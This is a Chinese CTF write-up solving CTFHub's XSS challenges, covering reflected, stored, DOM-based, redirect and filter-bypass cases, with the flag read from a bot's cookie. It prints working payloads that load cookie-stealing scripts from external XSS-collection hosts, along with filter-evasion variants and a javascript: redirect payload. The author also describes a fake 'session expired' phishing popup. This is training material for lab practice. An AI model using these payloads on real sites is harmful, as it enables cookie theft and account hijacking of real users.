当前位置: 首页 > news >正文

web-XSS-CTFHub

前言

 在众多的CTF平台当中,作者认为CTFHub对于初学者来说,是入门平台的不二之选。CTFHub通过自己独特的技能树模块,可以帮助初学者来快速入门。具体请看官方介绍:CTFHub。

作者更新了CTFHub系列,希望小伙伴们多多支持。

作者的CTFHub技能树汇总:

CTFHub技能树Web汇总-CSDN博客

注:如果想做本文的题目,可以自己搭建一个XSS接受平台或者是用在线的XSS平台。

反射型

发现有两个表单

第一个表单用来试验,看是否有漏洞

从URL上发现原来是GET传参,也可以直接在URL上传参进行试验

第二个表单显示sent URL to bot,这是因为反射型XSS在用户点击后才会生效,但这道题没人点击我们生成的payload,只好发送给robot,让程序模拟用户点击,使我们的payload生效。

这里我们直接利用在线网站生成的payload,大家需用自己网站生成的的payload

我们在第二个表单中发送payload给后台的bot让其遭受xss攻击(模拟管理员点击了恶意xss链接盗取cookie)

Ok了,xss链接生效了,靶机上线

我们查看返回的xss数据,在cookie中发现flag

存储型

还是两个表单,一个尝试,一个bot

和上题一样,先测试一下XSS漏洞

这次是POST传参

传递的内容是URL编码后的payload

在第一个表单里写一下在线平台的payload(其实只尝试是否弹窗就可以了)

注意:在第一个框试验在线平台的payload会导致我们自己的主机上线,但我们的主机没有flag,找flag时不要找错了

这里的“会话过期”是我的在线xss平台设计的弹窗,目的是诱导用户重新登陆,从而控制用户账号。但实际上没啥用,仅仅有弹窗的效果,相当于alert("此会话已过期,您需要重新登陆"),这里暂时忽略。

右键查看源代码,看看xss是怎么形成的

第一个框上传后,再将当前url粘贴到第二个框中发给bot,这样就把有我们payload的页面发给bot(存储型与反射型区别就在于此),从而上线主机

还是cookie里有flag

DOM反射

直接输入payload竟然没弹窗,看看源代码,原来是没有去闭合语句

这里我们要去闭合语句

';</script><sCRiPt sRC=//xs.pe/FVQ></sCrIpT><script>

成功弹窗

看一下源代码,完美闭合

还是发给bot,看cookie

DOM跳转

一进来看见Submit不好使了,还以为有前端过滤

捣鼓一顿,发现就算Submit可以提交了也没啥用

遂观察源代码

以下是上面JavaScript代码的分步解释:

1、location.search 获取当前URL中?号开始的查询字符串部分

        例如:URL为 http://example.com?jumpto=news.html 时,location.search 返回 ?               jumpto=news.html

2、split("=") 用等号分割查询字符串

        上述例子会被分割为数组:["?jumpto", "news.html"]

3、target[0].slice(1) 处理第一个参数

        target[0] 是 "?jumpto"

        .slice(1) 去掉第一个字符问号,得到 "jumpto"

4、判断 if (target[0].slice(1) == "jumpto")

        验证第一个参数名是否为jumpto

5、location.href = target[1] 执行跳转

        当条件满足时,页面会自动跳转到target[1]指定的地址

简单来说,这段代码的作用是从当前页面的URL中获取查询字符串(URL的get参数),如果参数名为"jumpto",则将页面重定向到参数值所指定的URL。

而当我们传递类似于jumpto=javascript:alert(1)这样的代码时,浏览器会将其解释为一种特殊的URL方案,即 “javascript:”。在这种情况下,浏览器会将后面的 JavaScript 代码作为URL的一部分进行解析,然后执行它。

验证一下

成功弹窗

然后构造链接来加载xss平台的代码:

?jumpto=javascript:$.getScript("//uj.ci/a3b")

这段代码使用了jQuery的$.getScript()函数来异步加载并执行来自xss平台的js脚本,使用前提是网站引用了jQuery。

发给机器人,

成功获得flag

注意:像作者之前使用的TLXSS平台就不支持jQuery,从而耗费了很长时间,大家如果做不出来就换一个xss平台(而且不要再换成同类型的平台,这个坑大家一定要注意)

过滤空格

没什么说的,把payload换一下就行

因为会过滤空格,所以我们用下面的payload

<sCRiPt/sRC=//xs.pe/FVQ></sCrIpT>

发给bot

看cookie

过滤关键词

先尝试一下

直接弹窗了

应该是在线网站的payload有大小写绕过,尝试了一下,下面这句就不会弹窗,应该是过滤了script

既然在线网站的payload可行,那我们直接发给bot,看cookie,成功

http://www.lryc.cn/news/531371.html

相关文章:

  • 【C++】P1957 口算练习题
  • 第二十三章 MySQL锁之表锁
  • linux 进程补充
  • 渗透测试之文件包含漏洞 超详细的文件包含漏洞文章
  • Java 大视界 -- Java 大数据在智能医疗影像诊断中的应用(72)
  • Web - CSS3浮动定位与背景样式
  • ConcurrentHashMap线程安全:分段锁 到 synchronized + CAS
  • 系统学习算法:专题九 穷举vs暴搜vs深搜vs回溯vs剪枝
  • 解决 Pandas DataFrame 索引错误:KeyError:0
  • deepseek的对话风格
  • 制造业设备状态监控与生产优化实战:基于SQL的序列分析与状态机建模
  • Javaweb学习之Mysql(Day5)
  • C++ Primer 迭代器
  • Java的String与StringBuilder例题
  • Vue.js 如何选择合适的组件库
  • github下载失败网页打开失败 若你已经知道github地址如何cmd下载
  • 排序算法--计数排序
  • [特殊字符]const在函数前后的作用详解(附经典案例)
  • 【字节青训营-7】:初探 Kitex 字节微服务框架(使用ETCD进行服务注册与发现)
  • 给AI用工具的能力——Agent
  • Jupyter Lab的使用
  • 【从零开始的LeetCode-算法】922. 按奇偶排序数组 II
  • RabbitMQ深度探索:前置知识
  • 『 C++ 』中不可重写虚函数的实用案例
  • Redis - String相关命令
  • pytorch基于FastText实现词嵌入
  • 3D人脸建模:高精度3D人脸扫描设备快速生成真人脸部3D模型
  • 4.PPT:日月潭景点介绍【18】
  • 冷链监控系统
  • VSCode中代码颜色异常